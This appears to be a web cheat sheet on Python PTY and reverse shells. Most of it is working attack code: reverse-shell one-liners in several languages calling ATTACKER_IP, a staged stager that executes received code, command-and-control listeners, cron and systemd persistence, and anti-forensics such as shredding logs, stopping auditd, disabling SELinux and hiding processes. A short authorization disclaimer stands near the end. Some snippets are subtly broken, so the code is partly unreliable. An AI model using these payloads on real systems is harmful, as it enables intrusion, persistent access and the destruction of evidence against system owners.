Zum Inhalt springen

Python PTY Shells & Reverse Shells

A comprehensive guide to Python PTY shell techniques including reverse shell payloads, TTY spawning, shell stabilization, and session management.

Python Reverse Shell Payloads

Basic Socket Shell (Connection-Based)

# Attacker listener setup
python3 -m http.server 8000  # HTTP server
nc -lvnp 4444                # Netcat listener

# One-liner reverse shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# With explicit imports (Python 2 & 3 compatible)
python -c 'import socket,subprocess;s=socket.socket();s.connect(("10.0.0.1",4444));exec(subprocess.check_output(["cat","/etc/passwd"]))'

Bash Shell via Python

# Send to attacker machine
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# Via Python subprocess (more reliable)
python3 -c "import subprocess;subprocess.call(['bash','-i'])"

Multi-platform Shell

import socket
import subprocess
import os
import platform

HOST = "ATTACKER_IP"
PORT = 4444

def shell():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))

    os_type = platform.system()
    if os_type == "Windows":
        shell_cmd = "cmd.exe"
    else:
        shell_cmd = "/bin/bash"

    subprocess.Popen([shell_cmd], stdin=s, stdout=s, stderr=s)
    s.close()

shell()

TTY Spawning & Upgrade Techniques

Spawn Interactive TTY (Unix/Linux)

# Method 1: Python (most reliable)
python -c 'import pty; pty.spawn("/bin/bash")'

# Method 2: Bash-only
bash -i

# Method 3: Using script command
script -q /dev/null /bin/bash

# Method 4: Using socat (if available)
socat exec:/bin/bash tcp:ATTACKER_IP:PORT

Upgrade Shell to Full PTY

# Step 1: After initial shell connection, spawn Python PTY
python -c 'import pty; pty.spawn("/bin/bash")'

# Step 2: Background the shell (Ctrl+Z), then execute:
stty raw -echo
fg

# Step 3: Set terminal environment
export TERM=xterm-256color
export SHELL=/bin/bash

# Step 4: Verify TTY
stty size

Advanced TTY Setup Script

#!/bin/bash
# tty_upgrade.sh - Upgrade reverse shell to full PTY

if [ -t 0 ]; then
    echo "[*] Already have TTY"
else
    echo "[*] Upgrading to TTY..."

    # Spawn TTY
    python -c 'import pty; pty.spawn("/bin/bash")'

    # If Python failed, try alternatives
    if [ $? -ne 0 ]; then
        /bin/bash -i
    fi
fi

# Set terminal properly
stty raw -echo
fg
export TERM=xterm-256color
export SHELL=/bin/bash
stty rows $(tput lines) cols $(tput cols)

Shell Stabilization Techniques

Detect Shell Type

# Check if interactive shell
if [ -t 0 ]; then
  echo "Interactive terminal"
else
  echo "Non-interactive shell"
fi

# Check shell type
echo $SHELL
ps -p $$

# List available shells
cat /etc/shells

Remove Shell History

# Clear current session history
history -c

# Clear history file
cat /dev/null > ~/.bash_history

# Disable history for current session
unset HISTFILE

# Remove command from history
history -d [line_number]

Disable Command Logging

# Disable shell history recording
export HISTFILE=/dev/null
export HISTSIZE=0

# Create no-logging shell
bash --noprofile --norc

# Kill terminal logging (script command)
scriptreplay /dev/null

Persistence & Background Execution

# Run command detached (nohup)
nohup ./shell.sh > /dev/null 2>&1 &

# Using screen (if available)
screen -S shell -d -m /bin/bash

# Using tmux
tmux new-session -d -s shell /bin/bash

# As systemd service (if root)
systemctl start shell.service

Advanced Reverse Shell Techniques

Encrypted Shell with Obfuscation

import socket
import subprocess
import base64
import os

def encrypted_shell():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("ATTACKER_IP", 4444))

    while True:
        try:
            # Receive base64-encoded command
            cmd = base64.b64decode(s.recv(1024)).decode()
            if cmd == 'exit':
                break

            # Execute command
            output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)

            # Send base64-encoded result
            s.send(base64.b64encode(output))
        except:
            pass

if __name__ == '__main__':
    encrypted_shell()

Multi-threaded Shell Handler

import socket
import threading
import subprocess

def handle_client(client_socket):
    while True:
        try:
            cmd = client_socket.recv(1024).decode()
            if not cmd:
                break

            output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
            client_socket.send(output)
        except:
            break
    client_socket.close()

def start_listener(port):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind(('0.0.0.0', port))
    server.listen(5)

    print(f"[*] Listening on port {port}")

    while True:
        client, addr = server.accept()
        print(f"[+] Connection from {addr[0]}")

        thread = threading.Thread(target=handle_client, args=(client,))
        thread.daemon = True
        thread.start()

if __name__ == '__main__':
    start_listener(4444)

Staged Reverse Shell

# Stage 1: Lightweight stager
import socket,subprocess
s=socket.socket();s.connect(('ATTACKER_IP',4444))
exec(s.recv(4096))

# Stage 2: Full shell (sent by attacker)
import subprocess,os
subprocess.Popen(['/bin/bash','-i'],stdin=0,stdout=0,stderr=0)

Common Reverse Shell Methods

Netcat Shell

# Attacker: Listen for connection
nc -lvnp 4444

# Target: Connect back
nc ATTACKER_IP 4444 -e /bin/bash

# Using mkfifo (if nc doesn't support -e)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f

Bash Shell

# Method 1: Using /dev/tcp
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# Method 2: Using exec
exec /bin/bash -i <&3 >&3 3<>/dev/tcp/ATTACKER_IP/4444

# Method 3: Complete redirect
/bin/bash -i > /dev/tcp/ATTACKER_IP/4444 0>&1 2>&1

PHP Shell (from RCE)

<?php
$sock=fsockopen("ATTACKER_IP",4444);
exec("/bin/bash -i <&3 >&3 2>&3", $null, 3);
?>

Socat Shell

# Attacker listener
socat file:`tty`,raw,echo=0 TCP-LISTEN:4444

# Target connection
socat exec:/bin/bash,pty,stderr,setsid,sigpipe,sane tcp:ATTACKER_IP:4444

PowerShell (Windows)

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Session Management & Stability

Keep Shell Alive

# Method 1: Infinite loop
while true; do /bin/bash; done

# Method 2: Using nohup (disconnect proof)
nohup bash -i >& /dev/null &

# Method 3: Background process group
setsid /bin/bash -i

# Method 4: Systemd user service
systemctl --user start shell.service

# Method 5: Cron job
(crontab -l 2>/dev/null; echo "* * * * * /path/to/shell.sh") | crontab -

Multi-session Shell

import socket
import subprocess
import threading

class ShellServer:
    def __init__(self, port):
        self.port = port
        self.sessions = {}
        self.session_counter = 0

    def handle_session(self, client_socket, session_id):
        print(f"[+] Session {session_id} started")

        while True:
            try:
                cmd = client_socket.recv(1024).decode()
                if not cmd:
                    break

                output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
                client_socket.send(output)
            except:
                break

        print(f"[-] Session {session_id} closed")
        del self.sessions[session_id]
        client_socket.close()

    def start(self):
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        server.bind(('0.0.0.0', self.port))
        server.listen(5)

        print(f"[*] Multi-session shell server listening on port {self.port}")

        while True:
            client, addr = server.accept()
            self.session_counter += 1
            session_id = self.session_counter

            print(f"[+] New connection from {addr[0]} (Session {session_id})")

            self.sessions[session_id] = client
            thread = threading.Thread(
                target=self.handle_session,
                args=(client, session_id)
            )
            thread.daemon = True
            thread.start()

if __name__ == '__main__':
    server = ShellServer(4444)
    server.start()

Detect and Evade Detection

# Check if being monitored
ps aux | grep -E 'strace|ltrace|gdb|tcpdump'

# Hide process
exec -a " " /bin/bash

# Clear process accounting
rm /var/log/account/pacct

# Disable SELinux
setenforce 0

# Kill auditd
systemctl stop auditd

Attacker Setup & Listener Configuration

Netcat Listener

# Basic listener
nc -lvnp 4444

# Listener with file logging
nc -lvnp 4444 | tee shell.log

# Accept multiple connections
while true; do nc -lvnp 4444; done

# With timeout
timeout 300 nc -lvnp 4444

Metasploit Handler

# Start Metasploit console
msfconsole

# Create multi-handler
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
run

Custom Python Listener

#!/usr/bin/env python3
import socket
import subprocess

def start_listener(host, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((host, port))
    sock.listen(1)

    print(f"[*] Listening on {host}:{port}")

    while True:
        conn, addr = sock.accept()
        print(f"[+] Connection from {addr}")

        try:
            while True:
                cmd = input(f"{addr[0]}> ")
                if not cmd:
                    continue

                conn.send(cmd.encode() + b'\n')
                output = conn.recv(4096)
                print(output.decode())

        except KeyboardInterrupt:
            print("\n[*] Closing connection")
        finally:
            conn.close()

if __name__ == '__main__':
    start_listener('0.0.0.0', 4444)

Reverse Shell Testing

# Test with local connection
bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 &
nc -lvnp 4444

# Test Python shell
python3 -c 'import socket,subprocess;s=socket.socket();s.connect(("127.0.0.1",4444));subprocess.Popen(["/bin/bash","-i"],stdin=s,stdout=s,stderr=s)'

Complete Exploitation Workflow

Initial Access Workflow

#!/bin/bash
# exploit_workflow.sh

TARGET="example.com"
ATTACKER_IP="10.0.0.5"
ATTACKER_PORT="4444"

echo "[*] Step 1: Reconnaissance"
whois $TARGET
nslookup $TARGET

echo "[*] Step 2: Vulnerability Scan"
nmap -sV -sC $TARGET

echo "[*] Step 3: Web App Testing"
# Find vulnerabilities (RCE, SQLi, etc.)

echo "[*] Step 4: Prepare Payload"
PAYLOAD="python -c 'import socket,subprocess;s=socket.socket();s.connect((\"$ATTACKER_IP\",$ATTACKER_PORT));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'"

echo "[*] Step 5: Start Listener"
nc -lvnp $ATTACKER_PORT &
LISTENER_PID=$!

echo "[*] Step 6: Execute Payload"
# Inject payload via RCE vulnerability

echo "[*] Step 7: Upgrade Shell"
# In the shell, run: python -c 'import pty; pty.spawn("/bin/bash")'

wait $LISTENER_PID

Post-Exploitation Steps

#!/bin/bash
# post_exploit.sh - Stabilize and maintain access

echo "[*] Upgrade to full PTY"
python -c 'import pty; pty.spawn("/bin/bash")'

echo "[*] Gather system info"
uname -a
id
whoami
pwd

echo "[*] Check for other users"
cat /etc/passwd | grep '/bin/bash'

echo "[*] Find SUID binaries"
find / -perm /4000 2>/dev/null

echo "[*] Check sudo privileges"
sudo -l

echo "[*] Disable history"
export HISTFILE=/dev/null
export HISTSIZE=0

echo "[*] Create persistent backdoor"
# Add SSH key, cron job, or other persistence mechanism

Best Practices & Operational Security

  • Only exploit systems you have written authorization for
  • Maintain detailed logs of all authorized testing
  • Report findings through proper responsible disclosure channels
  • Do not use exploits on systems without explicit permission
  • Comply with local computer fraud laws
  • Document all steps taken for legal review

Operational Security (OPSEC)

# Use proxy/VPN for anonymity
export HTTP_PROXY=socks5://proxy:1080
export HTTPS_PROXY=socks5://proxy:1080

# Use separate accounts
sudo -u attacker whoami

# Avoid obvious patterns
sleep $((RANDOM % 300 + 60))  # Random delay

# Encrypt traffic
ssh -D 1080 pivot_host  # SOCKS tunnel

# Clean logs
find /var/log -type f -exec shred {} \;

# Disable core dumps
ulimit -c 0

Avoid Detection

# Disable shell history
unset HISTFILE
export HISTSIZE=0

# Hide process
exec -a " " /bin/bash

# Use /tmp for temporary files (often less monitored)
cd /tmp

# Clear common log files
> /var/log/auth.log
> /var/log/syslog
> ~/.bash_history

# Check for monitoring
ps aux | grep -E 'auditd|osqueryd|aide'

# Disable SELinux (if running as root)
setenforce 0

Documentation & Reporting

  • Document all discovered vulnerabilities
  • Note the exploitation path and conditions
  • Record timestamps and session information
  • Maintain proof of authorization
  • Create detailed remediation recommendations
  • Follow responsible disclosure timeline

Environment Variables for Shell Operations

VariablePurposeExample
LHOSTAttacker IP for reverse shellexport LHOST=10.0.0.5
LPORTAttacker port for reverse shellexport LPORT=4444
TERMTerminal typeexport TERM=xterm-256color
SHELLDefault shellexport SHELL=/bin/bash
HISTFILEHistory file locationexport HISTFILE=/dev/null
HISTSIZEHistory size in linesexport HISTSIZE=0
PATHCommand search pathexport PATH=/usr/local/bin:/usr/bin:/bin
HOMEHome directoryexport HOME=/tmp
USERCurrent userexport USER=root
SOCKS_PROXYSOCKS proxy for tunnelingexport SOCKS_PROXY=socks5://proxy:1080

Shell Payload Generation

Generate Payloads Using Tools

# Using Metasploit msfvenom
msfvenom -p cmd/unix/reverse_bash LHOST=10.0.0.5 LPORT=4444

# Using pwntools
python3 -c "from pwn import *; p = process('/bin/bash'); print(p.readline())"

# Using custom generator
python3 << 'EOF'
import base64

cmd = "nc ATTACKER_IP 4444 -e /bin/bash"
payload = base64.b64encode(cmd.encode()).decode()
print(f"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1")
print(f"echo {payload} | base64 -d | bash")
EOF

One-liner Collection

# Bash (simple)
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# Python (reliable)
python -c 'import socket,subprocess;s=socket.socket();s.connect(("ATTACKER_IP",4444));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'

# Perl
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# Ruby
ruby -rsocket -e'f=TCPSocket.new("ATTACKER_IP",4444);exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

# Node.js
node -e 'require("child_process").exec("bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1")'

Resources & References

Shell Payload Resources

Tools & Frameworks

Documentation

Learning Platforms


Last updated: 2026-03-30

Troubleshooting Common Shell Issues

Shell Won’t Execute

# Check if Python is available
which python python3
python --version

# Try alternative shell methods
/bin/bash -i
/bin/sh -i
bash -c 'bash -i'

Connection Refused

# Verify attacker is listening
netstat -tlnp | grep LISTEN

# Check firewall rules
sudo ufw status
sudo iptables -L

# Try different port
nc -lvnp 5555

# Check if port is in use
lsof -i :4444

PTY Not Available

# Alternative TTY methods
strace -e execve /bin/bash

# Using script command
script -q /dev/null /bin/bash

# Socat alternative
socat - TCP:ATTACKER_IP:PORT

# Su wrapper
su -l

Command History Exposed

# Disable history immediately
unset HISTFILE

# Clear current history
history -c

# Remove specific command
history -d 100

# Overwrite history file
cat /dev/null > ~/.bash_history
shred -u ~/.bash_history

Slow/Laggy Shell

# Disable terminal echo locally
stty raw -echo

# Increase buffer
stty -istrip
stty -parenb
stty cs8

# Reduce timeout
export TMOUT=0

# Check connection quality
ping -c 5 ATTACKER_IP

Quick Reference Table

TaskCommand
Basic reverse shellbash -i >& /dev/tcp/IP/PORT 0>&1
Python reverse shellpython -c 'import socket,subprocess;s=socket.socket();s.connect(("IP",PORT));subprocess.call(["/bin/bash","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
Upgrade to PTYpython -c 'import pty; pty.spawn("/bin/bash")'
Listen for connectionnc -lvnp PORT
Disable historyexport HISTFILE=/dev/null
Fix terminalstty raw -echo && fg
Hide processexec -a " " /bin/bash
Background shellnohup bash -i &
Multi-session handlerwhile true; do nc -lvnp PORT; done

Last updated: 2026-03-30